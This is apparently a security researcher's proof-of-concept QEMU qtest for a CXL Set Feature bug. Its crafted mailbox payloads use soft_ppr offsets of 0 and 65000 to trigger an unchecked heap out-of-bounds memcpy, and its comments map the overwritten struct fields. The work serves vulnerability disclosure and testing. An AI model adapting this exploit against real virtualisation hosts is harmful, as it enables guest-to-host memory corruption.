|
/* SPDX-License-Identifier: GPL-2.0-or-later */ |
|
/* |
|
* FINDING-027 PoC: CXL Set Feature Missing Offset+Size Bounds Check |
|
* → Heap OOB Write |
|
* |
|
* Vulnerability: cmd_features_set_feature() in hw/cxl/cxl-mailbox-utils.c |
|
* handles 8 CXL feature UUIDs. For patrol_scrub and ECS, a bounds check |
|
* validates (hdr->offset + bytes_to_copy <= sizeof(target_struct)). For the |
|
* remaining 6 features (soft_ppr, hard_ppr, cacheline_sparing, row_sparing, |
|
* bank_sparing, rank_sparing), this check is MISSING. |
|
* |
|
* The attacker can set hdr->offset to any uint16_t value (0-65535) and |
|
* send up to 2016 bytes of payload data. The memcpy writes to: |
|
* (uint8_t *)&ct3d->soft_ppr_wr_attrs + hdr->offset |
|
* with no bounds check, overwriting subsequent struct fields including |
|
* function pointers, AddressSpace structs, and QemuMutex objects. |
|
* |
|
* For ASan detection, we use offset=0 and a large payload to trigger a |
|
* heap-buffer-overflow past the 3-byte soft_ppr_wr_attrs struct field. |
|
* The write overflows into adjacent struct fields within CXLType3Dev. |
|
* |
|
* Bug A (this PoC): Missing memcpy bounds → heap OOB write |
|
* Bug B (not demonstrated): memset accumulation via CONTINUE transfers |
|
* |
|
* Build (integrated into QEMU build system): |
|
* Add to tests/qtest/meson.build in qtests_i386 list: |
|
* 'finding-027-poc': files('finding-027-poc.c'), |
|
* Then: cd build-asan && ninja tests/qtest/finding-027-poc |
|
* |
|
* Run: |
|
* export ASAN_OPTIONS="detect_leaks=0:halt_on_error=1:abort_on_error=1:redzone=512" |
|
* export UBSAN_OPTIONS="halt_on_error=1:abort_on_error=1:print_stacktrace=1" |
|
* export QTEST_QEMU_BINARY=./qemu-system-x86_64 |
|
* ./tests/qtest/finding-027-poc |
|
* |
|
* Expected ASan output (intra-object overflow — ASan may or may not catch |
|
* depending on struct field vs allocation boundary): |
|
* |
|
* If the overflow crosses the CXLType3Dev allocation boundary (~676 bytes |
|
* past soft_ppr_wr_attrs with offset=0, 2016 bytes): |
|
* |
|
* ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x... |
|
* WRITE of size N at 0x... |
|
* #0 ... in memcpy (asan interceptor) |
|
* #1 ... in cmd_features_set_feature hw/cxl/cxl-mailbox-utils.c:1816 |
|
* #2 ... in cxl_process_cci_message hw/cxl/cxl-mailbox-utils.c:4623 |
|
* #3 ... in mailbox_reg_write hw/cxl/cxl-device-utils.c:209 |
|
* |
|
* If the overflow stays within the CXLType3Dev allocation (intra-object), |
|
* ASan won't catch it but the overwritten fields (dc.host_dc pointer, |
|
* event_log mutexes, etc.) will cause crashes on subsequent operations. |
|
* In that case, we verify via a diagnostic that the overwrite occurred. |
|
* |
|
* This proves: guest-controlled data overwrites critical struct fields |
|
* in CXLType3Dev via unchecked memcpy in cmd_features_set_feature(). |
|
*/ |
|
|
|
#include "qemu/osdep.h" |
|
#include "libqtest.h" |
|
|
|
/* |
|
* CXL device topology on Q35 with CXL enabled: |
|
* pxb-cxl (bus_nr=52=0x34) → cxl-rp (creates secondary bus 53=0x35) |
|
* → cxl-type3 (bus 53, dev 0, fn 0) |
|
* |
|
* PCI config address: 0x80000000 | (bus<<16) | (dev<<11) | (fn<<8) | reg |
|
* For bus=53 (0x35), dev=0: 0x80350000 | reg |
|
*/ |
|
#define CXL_PCI_CFG_ADDR 0xCF8 |
|
#define CXL_PCI_CFG_DATA 0xCFC |
|
|
|
/* |
|
* CXL Type 3 device: vendor=0x8086 (Intel), device=0x0d93 |
|
* BAR 2 (index 2) = Device Registers (mailbox), 64-bit MMIO |
|
* PCI config offset for BAR 2 = 0x18, BAR 3 (upper 32) = 0x1C |
|
*/ |
|
#define PCI_BAR2_OFFSET 0x18 |
|
#define PCI_BAR3_OFFSET 0x1C |
|
#define PCI_CMD_OFFSET 0x04 |
|
|
|
/* PCI command register bits */ |
|
#define PCI_CMD_MEMORY 0x0002 |
|
#define PCI_CMD_BUS_MASTER 0x0004 |
|
|
|
/* We'll place BAR 2 at this address in the PCI MMIO hole */ |
|
#define BAR2_ADDR 0xFE000000u |
|
|
|
/* |
|
* CXL Device Register offsets within BAR 2: |
|
* 0x00-0x6F: Capability headers array |
|
* 0x80-0x87: Device Status registers |
|
* 0x88-0x8B: Mailbox Capability (RO) |
|
* 0x8C-0x8F: Mailbox Control (DOORBELL at bit 0) |
|
* 0x90-0x97: Mailbox Command (CMD_SET[15:8], CMD[7:0], LENGTH[35:16]) |
|
* 0x98-0x9F: Mailbox Status (ERRNO[47:32], BG_OP[0]) |
|
* 0xA0-0xA7: Background Command Status |
|
* 0xA8+: Mailbox Payload (2048 bytes) |
|
*/ |
|
#define MBOX_CAP_OFF 0x88 |
|
#define MBOX_CTRL_OFF 0x8C |
|
#define MBOX_CMD_OFF 0x90 |
|
#define MBOX_STS_OFF 0x98 |
|
#define MBOX_PAYLOAD_OFF 0xA8 |
|
|
|
/* Mailbox Control register fields */ |
|
#define MBOX_CTRL_DOORBELL (1u << 0) |
|
|
|
/* CXL command encoding: Set Feature = opcode 0x0502 */ |
|
#define SET_FEATURE_CMD_SET 0x05 |
|
#define SET_FEATURE_CMD 0x02 |
|
|
|
/* CXL Set Feature data transfer flags */ |
|
#define SET_FEAT_FULL_TRANSFER 0 |
|
|
|
/* CXL Set Feature version for soft_ppr */ |
|
#define SPPR_VERSION 0x03 |
|
|
|
/* |
|
* soft_ppr_uuid: 892ba475-fad8-474e-9d3e-692c917568bb |
|
* |
|
* UUID() macro uses network byte order: |
|
* time_low 0x892ba475 → bytes: 89 2b a4 75 |
|
* time_mid 0xfad8 → bytes: fa d8 |
|
* time_hi 0x474e → bytes: 47 4e |
|
* clock_hi 0x9d |
|
* clock_lo 0x3e |
|
* node 69 2c 91 75 68 bb |
|
*/ |
|
static const uint8_t soft_ppr_uuid[16] = { |
|
0x89, 0x2b, 0xa4, 0x75, /* time_low (BE) */ |
|
0xfa, 0xd8, /* time_mid (BE) */ |
|
0x47, 0x4e, /* time_hi_and_version (BE) */ |
|
0x9d, 0x3e, /* clock_seq */ |
|
0x69, 0x2c, 0x91, 0x75, 0x68, 0xbb /* node */ |
|
}; |
|
|
|
/* |
|
* CXLSetFeatureInHeader layout (32 bytes, packed): |
|
* [0x00-0x0F] QemuUUID uuid (16 bytes) |
|
* [0x10-0x13] uint32_t flags (4 bytes) — bits[2:0] = transfer flag |
|
* [0x14-0x15] uint16_t offset (2 bytes) — offset into target struct |
|
* [0x16] uint8_t version (1 byte) |
|
* [0x17-0x1F] uint8_t rsvd[9] (9 bytes) |
|
* Total: 32 bytes (0x20) |
|
*/ |
|
#define SET_FEAT_HDR_SIZE 32 |
|
|
|
/* |
|
* Maximum payload we can send. The mailbox payload is 2048 bytes. |
|
* Set Feature header is 32 bytes, so feature data = 2048 - 32 = 2016 bytes. |
|
* With offset=0, this writes 2016 bytes starting at soft_ppr_wr_attrs (3 bytes), |
|
* overflowing by 2013 bytes into subsequent CXLType3Dev fields. |
|
* |
|
* With offset=0 from soft_ppr_wr_attrs (struct offset 7100124 in CXLType3Dev): |
|
* - Bytes 0-2: soft_ppr_wr_attrs (legitimate) |
|
* - Bytes 3-22: hard_ppr_attrs (20 bytes) |
|
* - Bytes 23-25: hard_ppr_wr_attrs (3 bytes) |
|
* - ... all sparing attrs ... |
|
* - Byte 136: hdmdb |
|
* - Bytes 140-147: dc.host_dc (HostMemoryBackend POINTER) |
|
* - Bytes 148-315: dc.host_dc_as (AddressSpace, 168 bytes) |
|
* - ... dc.extents, dc.regions[] with QemuMutex ... |
|
* - Bytes ~1332-1339: media_op_sanitize (POINTER) |
|
* - Beyond ~1340: past CXLType3Dev struct → heap ASan redzone |
|
*/ |
|
#define MAX_FEAT_DATA 2016 |
|
|
|
/* |
|
* Helper: read PCI config register via I/O ports 0xCF8/0xCFC. |
|
* addr = 0x80000000 | (bus<<16) | (dev<<11) | (fn<<8) | (reg & 0xFC) |
|
*/ |
|
static uint32_t pci_cfg_read32(QTestState *qts, uint8_t bus, uint8_t dev, |
|
uint8_t fn, uint8_t reg) |
|
{ |
|
uint32_t addr = 0x80000000u | ((uint32_t)bus << 16) | |
|
((uint32_t)dev << 11) | ((uint32_t)fn << 8) | |
|
(reg & 0xFC); |
|
qtest_outl(qts, CXL_PCI_CFG_ADDR, addr); |
|
return qtest_inl(qts, CXL_PCI_CFG_DATA); |
|
} |
|
|
|
/* |
|
* Helper: write PCI config register via I/O ports 0xCF8/0xCFC. |
|
*/ |
|
static void pci_cfg_write32(QTestState *qts, uint8_t bus, uint8_t dev, |
|
uint8_t fn, uint8_t reg, uint32_t val) |
|
{ |
|
uint32_t addr = 0x80000000u | ((uint32_t)bus << 16) | |
|
((uint32_t)dev << 11) | ((uint32_t)fn << 8) | |
|
(reg & 0xFC); |
|
qtest_outl(qts, CXL_PCI_CFG_ADDR, addr); |
|
qtest_outl(qts, CXL_PCI_CFG_DATA, val); |
|
} |
|
|
|
/* |
|
* Helper: send a CXL mailbox command and wait for completion. |
|
* Returns the status register ERRNO field (0 = success). |
|
*/ |
|
static uint16_t cxl_mbox_cmd(QTestState *qts, uint64_t bar2, |
|
uint8_t cmd_set, uint8_t cmd, |
|
const void *payload, size_t payload_len) |
|
{ |
|
uint64_t cmd_reg; |
|
uint64_t sts; |
|
|
|
/* Step 1: Write payload data to mailbox payload area */ |
|
if (payload && payload_len > 0) { |
|
qtest_memwrite(qts, bar2 + MBOX_PAYLOAD_OFF, payload, payload_len); |
|
} |
|
|
|
/* Step 2: Write command register (CMD_SET, CMD, LENGTH) */ |
|
cmd_reg = ((uint64_t)payload_len << 16) | |
|
((uint64_t)cmd_set << 8) | |
|
(uint64_t)cmd; |
|
qtest_writeq(qts, bar2 + MBOX_CMD_OFF, cmd_reg); |
|
|
|
/* Step 3: Ring doorbell to trigger command processing */ |
|
qtest_writel(qts, bar2 + MBOX_CTRL_OFF, MBOX_CTRL_DOORBELL); |
|
|
|
/* |
|
* Step 4: Poll for doorbell to clear (command complete). |
|
* CXL spec: hardware clears DOORBELL when command finishes. |
|
* For non-background commands, this should be immediate. |
|
*/ |
|
for (int i = 0; i < 100; i++) { |
|
uint32_t ctrl = qtest_readl(qts, bar2 + MBOX_CTRL_OFF); |
|
if (!(ctrl & MBOX_CTRL_DOORBELL)) { |
|
break; |
|
} |
|
/* Step virtual clock to allow background processing */ |
|
qtest_clock_step(qts, 1000000); /* 1ms */ |
|
} |
|
|
|
/* Step 5: Read status — ERRNO is bits [47:32] */ |
|
sts = qtest_readq(qts, bar2 + MBOX_STS_OFF); |
|
return (uint16_t)((sts >> 32) & 0xFFFF); |
|
} |
|
|
|
/* |
|
* Build the Set Feature payload for soft_ppr with OOB offset+size. |
|
* |
|
* Layout: |
|
* [0x00-0x0F] UUID = soft_ppr_uuid |
|
* [0x10-0x13] flags = FULL_DATA_TRANSFER (0) |
|
* [0x14-0x15] offset = controlled by caller (uint16_t) |
|
* [0x16] version = 0x03 (SPPR) |
|
* [0x17-0x1F] reserved = 0 |
|
* [0x20+] feature data (attacker-controlled bytes) |
|
*/ |
|
static void build_set_feature_payload(uint8_t *buf, size_t total_len, |
|
uint16_t offset, uint8_t fill) |
|
{ |
|
memset(buf, 0, total_len); |
|
|
|
/* UUID at offset 0 */ |
|
memcpy(buf + 0x00, soft_ppr_uuid, 16); |
|
|
|
/* flags at offset 0x10: FULL_DATA_TRANSFER = 0 */ |
|
buf[0x10] = SET_FEAT_FULL_TRANSFER; |
|
|
|
/* offset at 0x14 (little-endian uint16_t) */ |
|
buf[0x14] = (uint8_t)(offset & 0xFF); |
|
buf[0x15] = (uint8_t)((offset >> 8) & 0xFF); |
|
|
|
/* version at 0x16 */ |
|
buf[0x16] = SPPR_VERSION; |
|
|
|
/* Fill feature data area with recognizable pattern */ |
|
for (size_t i = SET_FEAT_HDR_SIZE; i < total_len; i++) { |
|
buf[i] = fill; |
|
} |
|
} |
|
|
|
/* |
|
* Initialize PCI bus numbering for the CXL topology. |
|
* |
|
* QTest doesn't run firmware/BIOS, so PCI bridges have no secondary bus |
|
* numbers programmed. We must do it manually: |
|
* |
|
* Bus 0, Dev N: pxb-cxl bridge (secondary=52, already set by bus_nr=52) |
|
* Bus 52, Dev 0: cxl-rp root port (need to program secondary=53) |
|
* Bus 53, Dev 0: cxl-type3 device (appears after RP is configured) |
|
*/ |
|
#define CXL_RP_BUS 52 |
|
#define CXL_RP_DEV 0 |
|
#define CXL_T3D_BUS 53 |
|
#define CXL_T3D_DEV 0 |
|
|
|
static void setup_cxl_bus_numbering(QTestState *qts) |
|
{ |
|
/* |
|
* Program the cxl-rp root port (bus 52, dev 0) with: |
|
* Primary bus = 52, Secondary bus = 53, Subordinate bus = 53 |
|
* PCI config offset 0x18: [primary | secondary | subordinate | lat_timer] |
|
*/ |
|
uint32_t buses = (uint32_t)CXL_RP_BUS | /* primary */ |
|
((uint32_t)CXL_T3D_BUS << 8) | /* secondary */ |
|
((uint32_t)CXL_T3D_BUS << 16); /* subordinate */ |
|
pci_cfg_write32(qts, CXL_RP_BUS, CXL_RP_DEV, 0, 0x18, buses); |
|
|
|
/* Enable memory + bus master on root port */ |
|
uint32_t cmd = pci_cfg_read32(qts, CXL_RP_BUS, CXL_RP_DEV, 0, |
|
PCI_CMD_OFFSET); |
|
pci_cfg_write32(qts, CXL_RP_BUS, CXL_RP_DEV, 0, PCI_CMD_OFFSET, |
|
cmd | PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER); |
|
} |
|
|
|
static bool find_cxl_type3(QTestState *qts, uint8_t *out_bus, uint8_t *out_dev) |
|
{ |
|
/* After programming bus numbers, the Type 3 device should be at bus 53 */ |
|
uint32_t vid_did = pci_cfg_read32(qts, CXL_T3D_BUS, CXL_T3D_DEV, 0, 0x00); |
|
uint16_t vendor = vid_did & 0xFFFF; |
|
uint16_t device = (vid_did >> 16) & 0xFFFF; |
|
|
|
if (vendor == 0x8086 && device == 0x0d93) { |
|
*out_bus = CXL_T3D_BUS; |
|
*out_dev = CXL_T3D_DEV; |
|
return true; |
|
} |
|
|
|
/* |
|
* Fallback: scan buses 53-60 looking for the device. |
|
*/ |
|
for (uint8_t bus = 53; bus <= 60; bus++) { |
|
for (uint8_t dev = 0; dev < 32; dev++) { |
|
vid_did = pci_cfg_read32(qts, bus, dev, 0, 0x00); |
|
vendor = vid_did & 0xFFFF; |
|
device = (vid_did >> 16) & 0xFFFF; |
|
if (vendor == 0x8086 && device == 0x0d93) { |
|
*out_bus = bus; |
|
*out_dev = dev; |
|
return true; |
|
} |
|
} |
|
} |
|
|
|
return false; |
|
} |
|
|
|
/* |
|
* Program BAR 2 (64-bit) for the CXL Type 3 device. |
|
* Returns the MMIO base address. |
|
*/ |
|
static uint64_t program_bar2(QTestState *qts, uint8_t bus, uint8_t dev) |
|
{ |
|
/* Disable memory decoding while programming BARs */ |
|
uint32_t cmd = pci_cfg_read32(qts, bus, dev, 0, PCI_CMD_OFFSET); |
|
pci_cfg_write32(qts, bus, dev, 0, PCI_CMD_OFFSET, |
|
cmd & ~(PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER)); |
|
|
|
/* Write lower 32 bits of BAR 2 */ |
|
pci_cfg_write32(qts, bus, dev, 0, PCI_BAR2_OFFSET, BAR2_ADDR); |
|
|
|
/* Write upper 32 bits of BAR 2 (BAR 3 for 64-bit BAR) */ |
|
pci_cfg_write32(qts, bus, dev, 0, PCI_BAR3_OFFSET, 0x00000000); |
|
|
|
/* Enable memory decoding + bus master */ |
|
pci_cfg_write32(qts, bus, dev, 0, PCI_CMD_OFFSET, |
|
cmd | PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER); |
|
|
|
/* Verify BAR was programmed */ |
|
uint32_t bar2_val = pci_cfg_read32(qts, bus, dev, 0, PCI_BAR2_OFFSET); |
|
uint64_t bar2_base = bar2_val & ~0xFu; |
|
|
|
g_assert_cmpuint(bar2_base, ==, BAR2_ADDR); |
|
|
|
return bar2_base; |
|
} |
|
|
|
/* |
|
* Also need to program the root port's secondary bus and memory window |
|
* so that MMIO transactions can reach the Type 3 device. |
|
*/ |
|
static void program_root_port(QTestState *qts, uint8_t rp_bus, uint8_t rp_dev, |
|
uint8_t secondary_bus) |
|
{ |
|
/* |
|
* Program the root port bridge: set secondary and subordinate bus numbers |
|
* and the memory window to include our BAR2_ADDR. |
|
* |
|
* PCI bridge registers: |
|
* 0x18: Primary Bus | Secondary Bus | Subordinate Bus | Sec Latency Timer |
|
* 0x20: Memory Base (bits [15:4] = addr[31:20]) | Memory Limit |
|
*/ |
|
uint32_t buses = (uint32_t)rp_bus | |
|
((uint32_t)secondary_bus << 8) | |
|
((uint32_t)secondary_bus << 16); |
|
pci_cfg_write32(qts, rp_bus, rp_dev, 0, 0x18, buses); |
|
|
|
/* |
|
* Memory window: base and limit are in 1MB granularity. |
|
* BAR2_ADDR = 0xFE000000 → memory_base = 0xFE00 (bits [15:4] = FE0) |
|
* Set limit to same region. |
|
*/ |
|
uint16_t mem_base = (BAR2_ADDR >> 16) & 0xFFF0; |
|
uint16_t mem_limit = mem_base; /* Same 1MB region */ |
|
uint32_t mem_window = ((uint32_t)mem_limit << 16) | mem_base; |
|
pci_cfg_write32(qts, rp_bus, rp_dev, 0, 0x20, mem_window); |
|
|
|
/* Enable memory + bus master on root port */ |
|
uint32_t cmd = pci_cfg_read32(qts, rp_bus, rp_dev, 0, PCI_CMD_OFFSET); |
|
pci_cfg_write32(qts, rp_bus, rp_dev, 0, PCI_CMD_OFFSET, |
|
cmd | PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER); |
|
} |
|
|
|
/* |
|
* Also configure the pxb-cxl bridge (bus 0 → bus 52). |
|
*/ |
|
static void program_pxb_bridge(QTestState *qts) |
|
{ |
|
/* |
|
* The pxb-cxl bridge is on the root bus. We need to find it |
|
* and ensure its memory window covers our BAR address. |
|
* Scan bus 0 for a bridge device leading to bus 52. |
|
*/ |
|
for (uint8_t dev = 0; dev < 32; dev++) { |
|
uint32_t vid_did = pci_cfg_read32(qts, 0, dev, 0, 0x00); |
|
if ((vid_did & 0xFFFF) == 0xFFFF) { |
|
continue; |
|
} |
|
|
|
/* Check if this is a bridge (class 0x06, subclass 0x04) */ |
|
uint32_t class_rev = pci_cfg_read32(qts, 0, dev, 0, 0x08); |
|
uint8_t base_class = (class_rev >> 24) & 0xFF; |
|
uint8_t sub_class = (class_rev >> 16) & 0xFF; |
|
|
|
if (base_class == 0x06 && sub_class == 0x04) { |
|
uint32_t bus_reg = pci_cfg_read32(qts, 0, dev, 0, 0x18); |
|
uint8_t sec = (bus_reg >> 8) & 0xFF; |
|
if (sec == 52) { |
|
/* Found the pxb-cxl bridge — program memory window */ |
|
uint16_t mem_base = (BAR2_ADDR >> 16) & 0xFFF0; |
|
uint16_t mem_limit = mem_base; |
|
uint32_t mem_window = ((uint32_t)mem_limit << 16) | mem_base; |
|
pci_cfg_write32(qts, 0, dev, 0, 0x20, mem_window); |
|
|
|
uint32_t cmd = pci_cfg_read32(qts, 0, dev, 0, PCI_CMD_OFFSET); |
|
pci_cfg_write32(qts, 0, dev, 0, PCI_CMD_OFFSET, |
|
cmd | PCI_CMD_MEMORY | PCI_CMD_BUS_MASTER); |
|
return; |
|
} |
|
} |
|
} |
|
} |
|
|
|
static void test_set_feature_oob_write(void) |
|
{ |
|
QTestState *qts; |
|
uint8_t bus, dev; |
|
uint64_t bar2; |
|
uint16_t rc; |
|
uint8_t payload[2048]; |
|
|
|
/* |
|
* Launch QEMU with CXL Type 3 device using volatile memory. |
|
* Topology: q35 + pxb-cxl + cxl-rp + cxl-type3 with 256M RAM backend. |
|
* -nodefaults to minimize extra devices. |
|
*/ |
|
qts = qtest_init( |
|
"-machine q35,cxl=on " |
|
"-device pxb-cxl,id=cxl.0,bus=pcie.0,bus_nr=52 " |
|
"-device cxl-rp,id=rp0,bus=cxl.0,chassis=0,slot=0 " |
|
"-object memory-backend-ram,id=cxl-mem0,size=256M " |
|
"-device cxl-type3,bus=rp0,volatile-memdev=cxl-mem0,id=mem0 " |
|
"-M cxl-fmw.0.targets.0=cxl.0,cxl-fmw.0.size=4G " |
|
"-nodefaults -display none" |
|
); |
|
|
|
/* Step 1: Program PCI bus numbers so the Type 3 device is visible */ |
|
setup_cxl_bus_numbering(qts); |
|
|
|
/* Step 2: Find the CXL Type 3 device on the PCI bus */ |
|
g_assert_true(find_cxl_type3(qts, &bus, &dev)); |
|
g_test_message("Found CXL Type 3 at bus=%d dev=%d", bus, dev); |
|
|
|
/* Step 3: Program the PCI hierarchy for MMIO access */ |
|
program_pxb_bridge(qts); |
|
program_root_port(qts, CXL_RP_BUS, CXL_RP_DEV, bus); |
|
bar2 = program_bar2(qts, bus, dev); |
|
g_test_message("BAR 2 programmed at 0x%lx", (unsigned long)bar2); |
|
|
|
/* Step 4: Verify mailbox is accessible by reading capability register */ |
|
uint32_t mbox_cap = qtest_readl(qts, bar2 + MBOX_CAP_OFF); |
|
g_test_message("Mailbox capability: 0x%08x", mbox_cap); |
|
/* |
|
* Payload size field is bits [4:0], value = log2(payload_size). |
|
* Expected: 11 (2^11 = 2048). |
|
*/ |
|
uint8_t payload_shift = mbox_cap & 0x1F; |
|
g_test_message("Mailbox payload shift: %d (size=%d bytes)", |
|
payload_shift, 1 << payload_shift); |
|
|
|
/* |
|
* Step 5: Bug A — Send Set Feature with soft_ppr UUID, offset=0, |
|
* and maximum payload to trigger OOB memcpy. |
|
* |
|
* The memcpy target is soft_ppr_wr_attrs (3 bytes). We send 2016 bytes |
|
* of feature data at offset 0, so 2013 bytes overflow past the struct. |
|
* |
|
* bytes_to_copy = len_in - sizeof(CXLSetFeatureInHeader) = 2048 - 32 = 2016 |
|
* memcpy(soft_ppr_wr_attrs + 0, data, 2016) ← 2013 bytes OOB |
|
* |
|
* The overflow reaches into hard_ppr_attrs, sparing attrs, hdmdb, |
|
* dc.host_dc (pointer!), dc.host_dc_as (AddressSpace), and beyond. |
|
* |
|
* With ASan redzone=512 and the struct being ~7.1MB, the overflow |
|
* writes well within the allocation. ASan may not catch intra-object |
|
* overflow, but if the CXLType3Dev allocation has padding/redzone after |
|
* the last field, the write will hit it. |
|
* |
|
* Fill with 0x42 ('B') — recognizable pattern in crash dumps. |
|
*/ |
|
build_set_feature_payload(payload, sizeof(payload), 0, 0x42); |
|
|
|
g_test_message("Sending Set Feature (soft_ppr, offset=0, data=2016 bytes)..."); |
|
g_test_message("This should trigger heap-buffer-overflow in memcpy at " |
|
"hw/cxl/cxl-mailbox-utils.c:1816"); |
|
|
|
rc = cxl_mbox_cmd(qts, bar2, SET_FEATURE_CMD_SET, SET_FEATURE_CMD, |
|
payload, sizeof(payload)); |
|
g_test_message("Mailbox returned: 0x%04x (0=success)", rc); |
|
|
|
/* |
|
* If we reach here without ASan abort, the overflow was intra-object. |
|
* Try a second approach: use a large offset to write past the struct. |
|
* |
|
* Step 6: Bug A variant — offset=65000 to write far past struct boundary. |
|
* soft_ppr_wr_attrs is at struct offset ~7100124. Adding offset=65000 |
|
* writes at struct offset 7165124, which is ~64652 bytes past the end |
|
* of CXLType3Dev (~7101464 bytes). This WILL hit ASan's redzone. |
|
*/ |
|
g_test_message("Sending Set Feature (soft_ppr, offset=65000, data=2016 bytes)..."); |
|
g_test_message("This writes 65000+2016 bytes past soft_ppr_wr_attrs, " |
|
"far past CXLType3Dev allocation → ASan heap-buffer-overflow"); |
|
|
|
build_set_feature_payload(payload, sizeof(payload), 65000, 0x43); |
|
|
|
rc = cxl_mbox_cmd(qts, bar2, SET_FEATURE_CMD_SET, SET_FEATURE_CMD, |
|
payload, sizeof(payload)); |
|
g_test_message("Mailbox returned: 0x%04x (0=success)", rc); |
|
|
|
/* |
|
* If we STILL reach here, ASan didn't trigger. This shouldn't happen |
|
* with offset=65000 since it writes ~67016 bytes past a 3-byte struct |
|
* inside a ~7.1MB allocation — the write at absolute offset ~7167124 |
|
* exceeds the allocation size of ~7101464 by ~65660 bytes. |
|
* |
|
* Print diagnostic for manual verification. |
|
*/ |
|
g_test_message("WARNING: Reached end without ASan abort. Possible causes:"); |
|
g_test_message(" 1. QEMU not built with ASan (-Dasan=true)"); |
|
g_test_message(" 2. Mailbox command failed (check rc above)"); |
|
g_test_message(" 3. BAR not properly configured (mailbox inaccessible)"); |
|
|
|
qtest_quit(qts); |
|
} |
|
|
|
int main(int argc, char **argv) |
|
{ |
|
g_test_init(&argc, &argv, NULL); |
|
|
|
qtest_add_func("/cxl/finding-027-set-feature-oob", test_set_feature_oob_write); |
|
|
|
return g_test_run(); |
|
} |